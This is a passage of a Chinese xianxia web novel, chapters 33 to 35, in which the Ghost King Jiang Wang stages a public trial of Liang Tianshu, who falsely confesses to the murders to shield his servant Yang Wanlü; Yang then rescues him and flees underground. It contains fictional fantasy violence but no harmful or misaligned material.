“你都是哪儿听来的消息啊?那鬼王陛下正是为了抓住祸乱听香的凶手,才不得已而为之啊,你看,现在绛楼的基阵不也修好了?要我说……”茶水摊老板压低了声音,“要我说,鬼王江妄可比那些香主靠谱多了……”
“竟是这样。”那人显然被这突如其来的信息量惊到了,讷讷没接话,好一会儿才道,
“……不过有句话你真说错了,弥勒人还算不错的,这些年做了不少事。你我能有机会进听香城,到底是托他的福。”
“唉,可惜还是不行,追不到凶手也就算了,白白搭上自己一条性命……你看,那连杀几位化神的凶手,不还是凶不过鬼王,被老实拘了,马上就公审呐!”
老板随口聊着八卦,手里也没停下地擦着茶碗,
“要不你说我为什么要顶着大太阳出摊?一会儿人流量上来,茶水冰碗可是要大卖……”
“……什么公审?公审谁?”
“当然是凶手了,你这话问的……”茶摊老板抬头,正准备好好笑话一下他,却对上老友明显不正常的神色。
他意识到,刚才说话的,不是对面和自己聊天的人……
后背密密麻麻爬满了凉意,老板硬着头皮缓缓转过身……
是一个装束奇怪的男人。
男人身量极高,裹着一大块黑布,全身上下被裹得密不透风,露在外面的只有一双冰蓝色的眼睛。
茶摊老板猛松了一口气,立刻回头剜了一眼熟人。
这不就是个正常人修嘛,不过是打扮得奇怪了些,那有什么的?吓死他了……
他又把头转了过去,
“这位客官,我还没开张,您看……”
男人还是看着他,重复了刚才的问题,
“公审谁?凶手,是谁?”
茶摊老板感觉有点奇怪,这是什么问题?凶手是谁一会儿公审不就知道了吗?
可被那双颜色特别的眼睛看着,他还是下意识回答了自己知道的,
“听说是从前听香城梁家的人……”
话尚未说完,眼前的人就一阵风似的不见了。
老板倒不惊讶,那人的气度一看就是修士。他又拿起茶具擦拭了起来,摇头道,“都什么人啊……”
他那位熟人却抬起手,颤抖着食指指向他身后。
这回老板习惯了,连头都不抬,“又想吓人了是吧?”
“……不是,你看……”
老板无语回头,“哪啊……”
啪。
手中茶具摔在地上。
刚才那奇怪男修站过的空地上,竟然凭空长出了几株藤蔓,正飘摇着缩小……
如果他刚刚回答不好的话,
那些藤蔓会不会缠到他的身上……
--
绛楼,金露阁。
陌离站在一边看着在床上烦躁打滚的江妄,终是开口,
“还剩不到一个时辰,你打算如何?真要审梁道长吗?”
“不然呢,”锦被里冒出来一个毛发凌乱的脑袋。
江妄生无可恋地抱着被子,
“他为了认下那些罪名都豁出去了,我能不成全他吗?”
……
这年头,上赶着顶罪到这个份儿上的,江妄还真是头一回见。
在不得已把梁天疏带回听香楼之后,江妄也没拘着他,还是让他回之前乔洒松给他安排的住处。
结果这家伙硬是逼着江妄赶紧结案……
江妄无奈问他,重重疑点按下不提,动机呢?动机是什么?
就算是是因为族灭后被乔家侵占家产,灭了乔家,杀了乔洒松也就够了。为什么要杀另外两位香主和柳掌事,还是以那么残酷的手段?
结果他竟然说,是因为过于憎恨乔洒松,要让乔洒松日夜惊恐直至死亡。
……江妄无言以对,只能又问,那些全部被分尸的人贩子呢?
江妄只是想给他一个台阶下,根本没想过他会清楚来龙去脉,更没想过他会认这桩事。
毕竟那些人贩子只是死于分尸,有修为的被吸尽修为罢了。没有任何与植物有关的迹象。
就算梁天疏要认三个香主的死,也完全没有必要认下这起案件的。
可他竟直接认了,还道出了些陈年旧事……
三十六年前,梁家族灭后,只有小少爷梁霁一人逃脱。
梁霁重伤,被人贩子团伙抓在手中。又几经辗转,被买进了碎荷巷的缥楼。
他为保住自己,自毁容貌,只做苦役。
可惜,最后,即便顶着一张没法看的脸,还是被低价买了出去。
嫖客是两个镖师。
便是段勇,和他的亲家……
至于乔洒松。
他一直派人查看梁霁行踪,却并没有为乔家杀了这条漏网之鱼。
他看着梁霁被买进缥楼,看着他被缥楼楼主欺负,最后被卖给那两个镖师。
他除了来见梁霁一面之外,好像什么也没做。
梁霁与乔洒松虽然年岁差得多了些,却是同辈人。梁家灭族之前,二人也算是熟识。
关于乔洒松,梁天疏只说了这些。
不过也是。
乔洒松是覆灭梁家的主力乔家的嫡子,是听香楼上下买卖炉鼎的主谋,是梁霁一切不堪过往的根源。
二人又曾经交好过一场,他却在梁霁的悲剧里,袖手旁观。
好像确实值得被格外记恨。
……
梁天疏说,杀害那么多无关之人,只是为了供养自己操控的植物,使他们日益强大。
那个玉兰,正是他最初放在听香城作乱的工具。
后来,玉兰吸收的修为实在不够,他等不及复仇,这才将与听香城的毗邻的汝陵、溢庆拉入。
植物生灵,无法离开生长地太远,即便是外力操控也没办法使玉兰跨越几城杀人。他就又操控了两株植物。
正是因为每一城他操控的植物皆不相同,他们杀人吸食修为的手段有所不同,才导致了听香腹洞、汝陵干尸这种不同的死状。
他说,他是人修,天生灵根里面木系变异,可以操控植物。这是天赋,无人能知。
而他从始至终未修邪道,那些植物妖也只是借他修为杀人,相当于他手中刀剑,自然不可能留下妖气……
……
挺好。
圆的挺好。
整个犯罪过程叙述
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详尽,周密得不得了。可是……江妄一个字都不信。
就单一件事,他梁天疏就是死了也解释不了:
到底是什么本事,能让他不留痕迹地进入鬼王的封锁,带走乔洒松?
而且,他一个根骨奇绝到江妄都有点儿嫉妒的人,还拥有化神巅峰的修为。
这样一个人想要不留痕迹的杀人,明明有千万种方法。
用得着弄一堆劳什子植物妖精?
听香城的惨案已经发生多年,这明显是凶手多年积蓄复仇力量的表现。
再说,一个声名远扬到陌离都知道的正派道长。真的会为了一己私仇,多年屠戮无辜百姓吗?
……
看似逻辑严谨,但实则全是漏洞。
可是,在听梁天疏说完之后,江妄没有再问任何一个问题。
她笑了笑,一把魂力甩过去,将梁天疏钉在了墙上。
看着梁天疏那一脸得偿所愿的表情,江妄强忍着提醒他练练演技的冲动,拉着陌离出了房间。
回到金露阁,打发了小白出去后就一直躺到现在。
--
陌离有些不认同江妄此刻的摆烂,他道,
“梁天疏绝不可能是凶手。若当众审理,他势必将那些话再说一次……
于情于理,很是不该。”
江妄坐在床上顶着一头鸡窝发,她看着陌离三秒,然后噗嗤一声掩唇笑了,
“就你,还懂情理呢?”
面对江妄明目张胆的质疑,陌离眉头皱了起来。
他如何就不懂了?
论理,他作为仙君熟读南界律法案卷。论情……
看着那些人类的悲欢,他通过推理分析,然后……连蒙带猜,总是能明白一些的。不过是不能共情罢了。和不懂有本质的区别!
何况如今……
他看着床上那个拢在锦被里正笑得灿烂的白衣女子。到底没争辩什么,只是暗叹一声。
江妄也没再奚落他,她双手捧着脸,接上陌离之前的话,
“再说一遍也活该,谁让人家自己愿意呢?不过……”她意味不明地拉长嗓音,
“你为什么会觉得梁天疏不是凶手呢?明明乔洒松死前都信誓旦旦地说了,一定是他,可见是亲眼见过他的。
你又为什么,这么相信他?”
“哦,哦哦,这梁道长人虽然冷了点儿,可论长相也是俊俏呢,难不成……”
边说着,江妄露出了一个“恍然大悟”的奇怪表情,然后撇撇嘴巴,
“咦……”
“江妄!好了。”那边陌离快步向前走了两步,看样子是恨不得能捂住江妄那张什么都说的嘴。
可他又没什么动作,只是停在床边,攥着他的剑,一脸无措的,羞怒着。
惹急了陌离,江妄的心情终于好多了。她垂下眼睫,也不再听陌离那边断断续续的解释。
……
是啊。那么冷硬的一个人,一把骨头活像是玄冰做的。就像他那把黑色的重剑,折了也不愿被人缴走,零落泥地,也不愿低一下头。
那一身骨头,即便硬到会撑破柔软的性命,也在所不惜。
这样一个人,宁愿亲手揭开最不堪的疤也要做的事,对他来说,定是逾越世间一切的存在。
江妄突然很不忍。
哪怕她不愿承认,但不得不说,脱离了无情道之后,她这一颗心似乎比生前柔软了太多。
尽管她早没有了血肉织成的心脏……
那么,听香楼这件事就到此为止吧,权当遂了梁天疏的愿。
毕竟她知道的不是吗?陌离的飞升劫根本不会是什么张扶风之死,也不会是什么听香城悬案。
所以,这件事怎么结,就让道长自己选。
而她明知真相并非如此,却乱破因果。
那就由她江妄,来替被梁天疏包庇的凶手,背下这三城的孽债。
34. 第 34 章 所有的一切都不要紧,
房间明珠闪烁,江妄看了一眼接了起来。
“禀陛下,公审到时间了。那个道长问您……几时去提他?”是看守梁天疏的弟子传音。
江妄又抓了一把头发。不是,找死你是一刻也等不及了呗?
“叫他等着,催个屁!”随机对一名无辜弟子发疯后,江妄挥灭了那个明珠。
此时她正上身后仰地坐在床上,便懒洋洋地伸出一只胳膊,示意陌离扶她。
陌离把减翠放在一旁,无比熟练地拉起她,半搂着她站好,同时用灵力把她拾掇整齐。
听着她小声抱怨“大中午的,晒死了”,他又拉起江妄的手,把海情的蝴蝶结系得更牢了些。
“那就不去了。”陌离轻声说。
“去!干嘛不去?”江妄往后稍退了一步,她看着陌离道,
“你不是要历劫?”她笑着,语气淡得就像在问陌离中午吃什么。
“……”陌离也看着她,一双浅色眼睛里清晰地映着江妄的笑容。
“不要紧。”他说。
那天晚上,我没有回答你的话。
现在说了,来不及了也罢,你且听一听。
所有的一切都不要紧,
除了你。
那边江妄必定不会知道陌离想说什么,闻言自然没什么特别的反应。又恢复了那个不着调的德行。
“诶呦,仙君连历劫都觉得无所谓了,究竟是怕我晒着了呢,还是……心疼人家梁道长了嘛……”
陌离:“……”
--
中午阳光烈得刺眼,却因为这次公审主持人的非人身份,没有一个人提出要加层咒法遮阳。
人群中,普通人和低阶修士还是占绝大多数的,一个个被晒得油汗满面、燥热不堪。虽然只能眯着眼睛,却还是都殷殷地望着高台上那个空着的座位,期待着谁。
许久后,人群突然静了片刻,紧接着哗的一下哄闹了起来,听香楼的弟子努力维持秩序却没有半点儿用处。
原来这就是鬼王吗?
竟半点也不输给从前的沈如练和翾风娇子,真是比天上的仙子还要美啊!
魂体凝实无法改变容貌,也就是说,这位鬼王生前就长成这样,这就是她最真实无美颜的原貌啊!!!
……
随着一声“鬼王陛下,您招侍夫吗?”气氛被推到了高潮。
不知道是哪个被冲昏了头脑,竟然忽略了江妄的身份,直接喊了出来。
江妄:……
她发现无情道还是有点儿用处的,至少她活着的时候在北界从来没见过这种奇葩……
一道青绿剑光划过,在众人头顶飞了一圈,冰寒的剑气生生给气温降下来了几度。
陌离还是一身普通的劲装,施施然出场立在江妄身后。
!
这是谁?!
什么绝世帅哥!
减翠的降温作用明显只是一时的,很快,气氛变得比江妄出现时更加火热了。
江妄回头瞟了陌离一眼,美丽地翻了个白眼。
她怎么不知道,陌离什么时候这么爱出风头了?还甩个剑转一圈,土到爆好吧……
就在群情激奋,江妄陌离各怀心思的时候,所谓凶手被听香楼弟子扯着上了台。
被身后弟子按着肩膀,梁天疏好像下意识地挣了一下。但很快,他便不再动作了,而是顺着那两个弟子强迫的动作跪了下来。
那个瘦到可以用“嶙峋”来形容的黑袍男子,面向江妄他们,笔直地跪在喧哗的人群前。好像背对那些成百上千的视线,是他最后的体面了。
有靠前站的人很快发现,这个凶手黑色的袖口上满是干涸的血迹,便和周围的人嘀咕起来。
很快,嘀咕变成了议论,议论变成了怒骂,怒骂变成了暴动。
那些氧化到几乎与黑袍融为一体的血迹,像是个引燃的导线,把所有民众对于这件事的恐惧和愤怒汇聚起来,一齐炸了。
场面一度失控。
直至江妄起身,抬起手把审台围了起来,人们才无法冲上来。
而那个天怒人怨的凶手,像一把利薄的剑一样扎在那儿,一动不动,不见悲喜。
江妄面向那些狰狞的面孔,勾起了唇角。
梁道长可笑,众生相可笑。
……她自己又如何不可笑呢?
然而那么多可笑的事,最后也只能是笑一笑。她这么想着,示意那边听香楼的弟子正式开始。
随着一阵浓到呛人的香溢满全场,所有人都不自觉地静了下来。
江妄也闻到了,是一种很奇怪的味道,却说不出的庄严肃穆,好像让人在某一瞬间失去所有情绪一般……
听香楼这些香也许根本不仅仅是物理意义上的香,而是神识上的暗示。
“……陛下,陛下!”
“啊,啊?”江妄回神,就看见那边布香宣誓的弟子期期艾艾地看着她。
……哦哦,是不是该我说话了?江妄用眼神询问。
对…啊……
江妄赶紧站好,“咳咳,”她清了清嗓子,用魂力扩音道,
“片云观梁天疏,为报陈年旧怨,操控植物精怪在听香城杀害修士在先,强逼植物吸食受害者修为血肉增进修为为其所用在后。行凶多年,手段残忍至极……
后将魔爪伸向汝陵、溢庆两城,愈渐狂放,怙恶不悛。仅已知所害人数便多达三百之众……
更是以变态手段虐杀听香楼三位香主及掌事。可谓罪大恶极,人神共愤……”
江妄说着,她清灵的嗓音被阳光烫过,连被风传过来的回响都显得那么充满力量。
人群一片寂静,虔诚地聆听着神谕。
高台上,白衣女子翩然而立,说到了某一处,她短暂地停顿了一下,垂眸看向了下方跪着的人,
“道长,我问你最后一次,以上所述罪名,你认还是不认?”
……
梁天疏终于抬起了头看向江妄。一双极黑的眼珠迎着灼人的阳光,依旧锋利地注视着一切。
包括上面那个正在问他认不认命的,假装神明的鬼。
我不认!
“我认。”他颌骨颤抖地撬起牙关,沙哑着道。
我认罪,只是认罪。
……
江妄眼里不带任何情绪地俯视着他,她开口,轻轻吐出了四个清晰的字,
“为何作恶?”
“……”
梁天疏咬紧了牙,那苍白的唇压成一道平直的线。
不知何时,他唇内腮肉和舌尖已是一团血糊,任唇齿再严丝合缝,鲜血还是争先恐后地溢出,蔓过他的下颌,爬满他的脖颈。
为何?
为何……
凭什么是他来说为何?!
他那双黑白分明的眼眸,死死盯着白衣鬼王身后那个道貌岸然的仙君。
若不是他……
罢了。
突然,梁天疏左手掌心灵窍爆裂,随即,几乎是一瞬间,从他枯瘦掌心至桡骨、肱骨的多处灵窍,像是连成线一般逐个爆开,炸的血肉模糊。爆裂的趋势眼看着就要蔓延到,心脉……
江妄一怔。
因为她一直没把梁天疏当成真正的犯人对待,自然没有封住梁天疏的修为。
没想到他是不作不闹了,此刻,却是要自尽……
没等江妄思考好到底拦还是不拦的时候,陌离已经飞身出去,唰唰两下封住了他的灵力,把他左臂灵窍爆裂的趋势遏制在攻向心脉之前。
可是,这样爆裂速度的冲击,骤然被陌离压在一处……
砰的一声,一根血肉模糊的手臂彻底断裂,飞了出去,撞在江妄的结界上,又砸在地上溅起一大片血花。
啊!
有人因这突入其来的变故惊呼了一声,随后又是狠狠震惊了。
刚刚……不是只有一只手臂断裂吗?
怎么,
台上那个黑衣人,右臂的袖子也是空的?
他现在,没有双臂……?
江妄狠狠皱了一下眉。
倒不是疑惑于梁天疏右臂空荡的衣袖,而是……
他的脸。
毁的很彻底,疤痕纵横,密集到几乎透不出肤色。
唯有那双下三白的眼睛黑漆依旧,能让人联想到是梁天疏这个人。
也许是被这人丑到了,江妄闭了闭眼。
……不是因为刚才的自爆,
这梁天疏,本来就没有右臂。
只是他修为极高,给自己捏了一条假的右臂,不影响基本行动,也没人会看得出来。
而刚才陌离为了阻止他自爆,彻底封住了他的金丹和全身灵脉。
这才失了假手又……显了原本的样貌。
江妄现在想好了,他要死或活,绝不拦他。可惜晚了点儿。
造孽哟,她剜了陌离一眼。索性那梁天疏一直背对众人,也不甚打紧……
江妄摸出一顶新的帷帽,兜头扣在那道长头上。
她可没兴趣逼人顶着一张丑脸陈情。
不过,既然道长选了认罪,陌离仙君呢,又替他绝了死路。
那就……继续吧。
江妄看向台下开始有些躁动的众人,扯起唇露出一个奇怪的笑。
她毕竟是个厉鬼,善心有限,没法儿救苦救难,成全一切。
江妄看着下面那个人,虽然他被白色帷帽随意挡着脸,看不见表情,破碎黑袍下的无臂躯干却抑制不住地痉挛着。
真可怜。
“来,道长,”她道,“你不得不说说呢,否则显得我好像随便哪里拉来个替罪羊……”
她话还没有说完,就被一阵剧烈的风声打断了。
异变只发生在一瞬间。
呼…呼呼…
所有的一切都被飓风卷起,旋在空中。
江妄修为大乘,倒不至于像其他人一般被风卷到空中,但也是裙角狂飞,根本按不住。
她捏诀控制住周身这一小片空间不受影响,同时下意识向陌离所在的方向看去。
然而就在她走神儿这一瞬间,下方人群中地面骤然裂开数条沟壑,许多没有被风吹起的人就这么掉了进去,公审的高台也没能幸免,裂缝以一种来不及反应的速度爬了上来。
看到陌离稳稳地站在
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减翠上,正在和听香楼弟子一起抢救现场。
江妄收回了视线,结果就看见一条巨大的裂缝正在不断逼近梁天疏,偏偏那个被扣着帷帽的“残疾人”就那么跪着,没有半点自救的举动。
……
如果真让梁天疏这么窝囊地死了,她多少会不舒服。
江妄伸手正要救人,裂缝却像是和她较劲一般,在江妄的魂力到达之前,以更快的速度包裹了梁天疏。
江妄收回手,勾起唇嗤笑了一声。
她看见了,那裂缝里好像有什么东西接住了梁天疏。
这哪里是什么天灾,分明是劫法场啊……
她明明在之前阻隔人群暴动的时候,就用魂力把公审台封了起来,这“裂缝”竟然能来去自如……
她大概知道是谁了。
还真是……有点儿缘分,能在这儿遇见。
不过呢,既然敢利用她的东西进出她的结界,就没有想过,她会借此反向找到它吗?
站在一片废墟上,江妄闭上了眼睛。
空中漫起一阵阵水波一样的东西,鬼王的神识无限放大,许久后那些水波又开始收缩,最后笼罩在某一处。
江妄缓缓睁开眼睛,
……找到了。
挺能跑啊。
--
踩下最后一个雪印,一身黑锦的女子呼出一口热气,眼见着那口气迅速在空中结成一串冰晶。她身后一把银色弯刀凌空飘旋,不断地发出嗡嗡嗡的震动,好像在催促她快一点。
女子抬起黑色护腕包裹的手至发间,在发冠边缘摸索,最后拔下了一支很不起眼的银色的簪子。然后她以簪子结阵,凭空撕开了一个空间。
她闪身进入,高高吊起的马尾在冰冷的空气中荡出一个好看的弧度,把那些烈风冷雪甩在身后。
这方空间也是白茫茫一片,却与刚才风雪交加的世界完全不同,没有刺骨的寒冷,也没有无时无刻不在呜咽的风声。
天地互为镜面,一切都在颠倒,却又那么和谐,其中银花铁树,荧光连片,完美得好像一切都静止了。
虽然前方与后方的景致完全相同,那黑衣女子依旧走得熟门熟路。不久,就走到了尽头。
她笑了一声,从储物袋里摸出一个罐装的东西,平行掷到一张宛若冰晶的桌台上。那罐子轻微地摇晃了一下,便稳稳立在了桌台上。
她等了一会儿,不见那边背对着她的人有什么反应,便又掏出一个相同的罐子,揭开盖子仰头喝了一口,
“我说,生气了?”
“我可是快马加鞭的修炼,结束后就马不停蹄地来找你了,你倒是怪起我来了。真就让我自己过来,也不怕我掉进你这乱七八糟的陷阱摔死了……”
她直接盘腿坐在如烟雾般的“地上”,边喝边怂恿那人,
“生气也罢,何必耽误喝酒?这醉不闲可是好东西,我头几年就给你留着的!喝一口,抵得上几年的修行,虽然呢我知道你也用不着……
诶呦,不过十年不见了,脾气见涨……”
“十年?”
这方苍茫空间总算是有了另一个人的声音。
原来那冰晶般的桌台旁边,坐着一个人。
只是那人一身过于缥缈的白纱,与这空间里的白实在相近,而他流转着银光的白发,垂落下来几乎与那些烟雾相容。
若非眼力极佳,实在难以辨认。
“你也知,雪境的时间速率与上界相同。”他说着回身,面向黑衣女子,
“于我来说,又是几个十年?”
他一双手抱着一盆银光拼凑成的植物,白色的睫毛在冷玉般的面庞上打下一片阴影。
“三百六十五个?”黑衣女子轻快回答。
那雪神无言片刻,“……这不是疑问句。”
女子却不管,又灌了一口酒,嘟囔着,“是啊,这么久,你竟然还记得我呢,真是挺厉害的哈……”
“……”
她喝着喝着也不老实坐着,在那堆烟雾里左右乱摸起来,突然,她摸着的手一空。
她赶紧起来,用两只手刨她之前摸空的地方。
诶?怎么有个大坑……
她想起来了些什么,抬头问道,
“归元儿,你那棵树呢?就是那棵特别特别大的,那么多枝条垂下来特别漂亮的那棵银色的树呢?”
被称为归元的男子闻言摇了摇头,叹道,
“贪玩。前些日子藏在修士的储物空间里偷跑了出去,我发现时雪境已经关闭,它也已经被人移栽了。”
“哦……这样。”江妄还挺遗憾,那棵树特别漂亮,她特别喜欢,特别喜欢躺在上面睡觉。
“不过,它是雪境的法相,永远与雪境相连,就算不回来也不打紧。”
江妄看向他手中灵光时而跳动一下的盆栽,挑眉笑道,“这个?本体?”
白发男子轻轻点头。
“那跑出去的?”
“树灵罢了。”归元把盆栽放在了冰晶桌台上,无甚在意地说。
江妄冲他比了个大拇指,
“还是您老人家教子有方啊……”
“……”
35. 第 35 章
地下十数米,一个幽绿色的光圈罩着两个黑点,在高速移动。那速度远比正常化神修士的缩地速度快了千百倍。
这样的速度下,其中那个被携着移动的人,连开口说话都很难做到。
那顶白色帷帽早不知道蹭到了哪里去,梁天疏以一种几近自毁的架势挣开了之前被陌离封住的灵力,之前便被自爆震得渗血的七窍,此刻更是汹涌的流出鲜血来。
“停,下!”他用尽了全力说出这两个字,并成功让揽着他的那人听见了。
笼罩二人的幽绿光波破土前进的速度在一瞬间慢了下来。
但很快,前进的速度又快了起来,不但没有减慢反而势头更猛了。
“……杨,万…缕。”梁天疏好像叹息着说,眼眶里被血红黏住,便也不去睁开。
他一直没有睁开过眼睛,却精准地叫了一声“劫走”他的人的名字。
“……”
冰蓝色眼珠转动,垂下看向怀里被鲜血染透的人。
只看了不到一秒,他便狠狠闭目,把视线转向前方。
之前入目的鲜红却已经蔓进双眼,怎么也抹不掉一般,生生把一双冰蓝眼珠染成了粉紫色。
全都是因为他……
他怎么能……就那么把他一个人留下了?
明知道江妄在这,却还自以为手段高明,不会被发现。
最后……还要少爷,来给他顶罪……
是他,都是他……
是他把少爷弄成这样的。
他根本和那些人一样该死。
冥紫江大阵就在今夜子时启动,他只要带着少爷躲过两个时辰,然后在大阵启动那一瞬间混入第一波出使北界的宗门弟子中,就可以想办法去北界。
只要到了北界,即使是势大如遥岑宗,也没能力大张旗鼓地追杀他们。
从此,天高海阔,他们再不受辖制。
冥紫江早不起阵晚不起阵,偏偏在这时候起阵,是老天都在帮他们。
只要……
只要他能躲过两个时辰,鬼王追捕下的两个时辰。
可是,真的能吗?
那可是……
杨万缕垂头看了看怀里血糊一般的人,狠狠地咬牙,额角青筋崩了一片出来。
不能也要能!!
这一次,少爷要活,他也要活!
……
幽绿色光圈拼了命一般向北而去,操纵破土术的人却早已是强弩之末。
杨万缕裹身的黑布早已粉碎,只剩下自身本相化成的银色法袍。而他法袍外所有裸露出来的皮肤,手臂、脖颈,还有……脸,全部被狰狞的伤疤覆盖。
那些伤疤暗红色的甚至是暗紫色的,密度很大,在他红肿的皮肤上起伏着,比溃烂还难看一百倍。而他抱着梁天疏的那双手就更不能看,两只手掌心外翻,手指长长短短,有的甚至黏在一起……似烈火灼烧所致。
怪不得要遮起来,这尊容真是……酷似怪物。
此时这个怪物也无心遮掩满身丑陋,只一味缩地,眼见地气息越来越弱,周身银色的灵光若隐若现,就像接触不良的灵光阵,似乎在下一刻就要报废了。
杨万缕开始燃烧命魂了,即便如此,他的动作也一刻未停过。他太清楚了,这是在和北界的至强者赛跑,哪怕是千分之一秒,他也不敢松半口气。
所幸怀里的人一直都没有睁开眼睛,他心里短暂又可笑地多了一分安慰。
然而就是这一瞬间不算分神的分神,他没有察觉到前方土层的异常——竟是没有被杨万缕破开,反而垒得致密,坚硬无比,好像后面有什么东西顶着一般。
那高速飞驰的幽绿光圈猝不及防地撞在了上面,本就若隐若现的灵光彻底灭了,杨万缕来得及做的,也就只是在撞上土墙之前调转身形,把梁天疏死死护在怀里……
如此猛烈的撞击,若换成人类来,怕已经是一滩肉泥了。纵是杨万缕本体再特殊,此刻本就耗得只剩一口气,这样一击,再也不行了。
他连梁天疏都拉不住了,只能眼睁睁看着他飞了出去,然后自己也重重地摔在之前开出的地道上。
杨万缕身上的银袍没有了半点儿光亮,灰扑扑地暗了下来,远远看去好像已经没了生机。
可突然,他扭了几下,竟像个丧尸一样爬了起来……只见他诡异地抽笑了一下,竟然抬起手掏向自己的丹田。
昏暗地道里,他的银色袍子上瞬间燃起了不正常荧光……下一瞬,又骤然黯淡下去。
是杨万缕那只已经伸进丹田的,已经看不出形状的手,被谁一把咬住了手腕。
他缓缓垂眸,心中却有了预兆。
果然,正对上梁天疏那双溢着鲜血的黑眸。
……
尽管眼前一片血红,但梁天疏还是隐约能看见对面那人脸颊脖颈上连片的疤。
他缓缓松了口,直起身子。
眼前画面的底色不知何时,由血红变成了水红。梁天疏下意识想抬起手抱一抱他,却只是一个踉跄向前栽去,他这才意识到,他连左手都没有了……
杨万缕连忙接住他,一手将他按在怀里,一手狠狠插向自己丹田,要继续之前的动作。怀里的人却卯足了劲儿挣扎起来,急到深处竟然用额头撞他的胸口。
……杨万缕一下子就泄了气,他只得暂时放弃燃烧本相以获得灵力的做法,双手扶住了梁天疏。
他看着梁天疏,突然,他哭了出来,
“少爷……我也不知道怎么办了,江妄追上来了,我也……不知道怎么办了,都是我的错……”
他反反复复念叨着这两句,江妄比他想象中的更强,哪怕他已经把雪境所有客人的魂魄全都混在一起,又加了无数遮掩术法,江妄却还是能这么轻而易举地找过来。
两个时辰连一半都未过……
剩下的又该怎么办?他们真的能到北界吗……
他现在能做的,也只有耗尽所有灵力送少爷走罢了,至于能走多远……他也不知道。
而少爷拉住了他,现在他连最后的作用也没有了,因为,来不及了,现在他有多少灵力也来不及了。
厚重的鬼气渗过土壤传了过来,江妄封锁了他们所有的去路,只留一条,上面。而地面上,江妄在等着他们。
“都是我的错……都是……”那满脸伤疤的男人囫囵念叨着,无助地哭了起来,堪称天下第一奇丑。
然后,另一个满脸伤疤的人向前一步,用自己唯一没在滴血的、没有疤痕的光洁额头,贴在了他的嘴上,堵住了他自责自弃的话。
许久,梁天疏抬起头,看着杨万缕,他摇了摇头。
咳出一口血,他勉强把嗓音调到一个能被人听懂的频率,
“你认识,鬼王身后那个格外俊美的修士吗?”他嘶哑地说完,也不期待杨万缕的反应,接着道,
“他就是仙君陌离。看他修为元婴,我便知,他是在历劫……”
所以,我从在熙鹤堂见到他的第一面,便知此案绝对不会含糊收场,便料到了今日结局……
所以,从来不是你的错。
只是你我时运不济罢了。
他看着一脸怔愣的杨万缕,轻轻叹了口气。
他总想劝杨万缕收手,可阳错阴差,他终于见到对方的时候,正是仇人杀尽的时候。
真的这么巧吗?
确实,对方见他就跑。可若他就是想见杨万缕一面,真的见不到吗?
也许是他自己也知道,自己没那个心气儿胆量复仇,
便……冷眼纵容。
到底是他自己心有不甘。
……
所以,杨万缕你到底懂不懂?
他看着对面的人,溢满血泪的漆黑眼眸堆满了千万句都说不清的复杂情绪。
是命数的错,
是梁天疏的错。
却永远都不会是你的错啊……
“此间事本就与你无关,一会儿我上去应付鬼王,你离开便……是…”梁天疏沙哑的话还未说尽,便失去了意识。
杨万缕收回了点在他后颈的手,揽着他脖子轻轻地把他放倒在地上。然后,他到底是剖出了内丹。
那颗人类心脏大小的银色光珠被他引燃,置于梁天疏身旁,又布下阵法,使内丹燃烧产生的灵力接入梁天疏灵脉。
之前要剖内丹是为了获取灵力逃命,现在……只是为了不浪费罢了。
他最后看了一眼他的少爷。
他是少爷过去里最后一个还活着的人,如今,也要死了。
少爷的过去洗干净了,可少爷却再也没有办法重新来过了。
“对不起。”
他没法儿活下来,陪着少爷天高海阔了。
……
夕阳早已沉下,却还留着丝缕暗红的边线,任他们肆意在天际晕染开来。天压得很低很低,那些勉强算得上鲜艳的色彩又从天上渗进了江水里。
也许是要起阵了的缘故,今日的冥紫江安静得很,江水小幅度地翻腾着,偶尔几道紫色雷电劈入水中,也只是啪嗒炸出一点水花。与往日的电闪雷鸣相比,真是难得的安静。
江畔各宗门弟子整装待发,没有靠江很近,远远地被自家带队长辈护着,等着大阵开启。
虽说渡江北上是件严肃的事件,但那些年轻弟子要出远门难免激动,凑在一起叽叽喳喳地讲个不停,他们的长辈也睁一只眼闭一只眼,纵容着不去批评。
只有一红衣金饰的男子,站在那群初出茅庐的稚嫩面孔里,有些显得格格不入。
几个大门派的女弟子悄悄观察姬瀛丘许久,却并不主动上前打招呼,只是聚在那里小声交谈什么。突然,其中一名女弟子不知道说了什么,惹得同伴没控制住音量惊呼了一声。
那突然出声的女弟子掩耳盗铃般双手捂住了嘴巴,露出的脸颊肉眼可见地涨得通红。
本来面朝江水的红衣男子闻声回头好奇地看了一眼。
与此同时,一道闪电劈入江水,一朵水花滚至江边,推起一股潮湿的风,卷起姬瀛丘一缕深红色的头发。
金饰轻响,融进了水声中,他看了看那一堆你推我我推你的女弟子,轻笑了一声。
然后他就很善解人意地转回了身。
姬瀛丘唇边笑容消散,他垂下那双勾人的凤眼,眼里是冥紫江翻涌的江水。
她来了,他感受到了,那鬼气距江不过几千米。
不过,呵,想也知道,
不会是来送他的……
也罢,反正不是什么大事儿。她若真来送他了,他可是要拼尽全力给她找那把刀了。现在这样,她不寄希望,他也就顺便找找,拿不来……就算了。
就在这时,他们脚下的土地突然狠狠地震荡了一下。
那些宗门弟子满脸的不解,交头接耳地议论起来,他们的长辈倒是有几位皱起了眉头,伸出神识探了过去,最后却无一不是一脸菜色地收回神识。
我的老天啊,怎么撞上那个鬼王了……
他们心照不宣地交换了个眼神,然后纷纷还是把灵力注入冥紫江阵法中,开始给阵法“催熟”。
不管那江妄是来干嘛的,身后有个鬼王这件事,实在是让他们坐立不安,他们没有哪一刻这么想快点儿渡江……
那边,江妄随手怼回去几个试探的神识,看着面前刚刚破土出来,好像被烧得糊成一片的男人……
江妄
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表示:又一次被丑到了。
遥岑宗到底能不能颁布个法令,太丑的人出来闹事,加刑!!必须加刑!这对她的眼睛很不好!
江妄暂时没理对面那个对她怒目相向的男人,赶紧招呼那边刚扎完帐篷在铺床的陌离,
“公子啊,你先停一停!”
喊完,她这才一脸微笑地对杨万缕道,
“诶呦你也别见怪,这不是没想到你这么快上来嘛,我还以为你俩至少得在下面待个几天呢……”
她好像很不好意思一般,“我也没说往下面扔点儿什么吧,没逼着你这么快上来,你说说你这……怪实诚的……”
“江仙姬,故人重逢,你一定要这般苦苦相逼吗?!”杨万缕愤而打断江妄的话,只觉得她虚伪可恶至极。
他满心死志破开土出来,却遥遥看见了冥紫江翻腾不休的绛紫江水……
那些时而划过江面的雷电噼噼啪啪,听在杨万缕耳中像是嚣张的嘲笑。
明明,就差这几步,就差这几步!!
那双极浅的冰蓝眼珠迅速爬满了细密的鲜红血丝,他恨不能活撕了这个多事的江妄!
却还要听她在这里阴阳怪气……
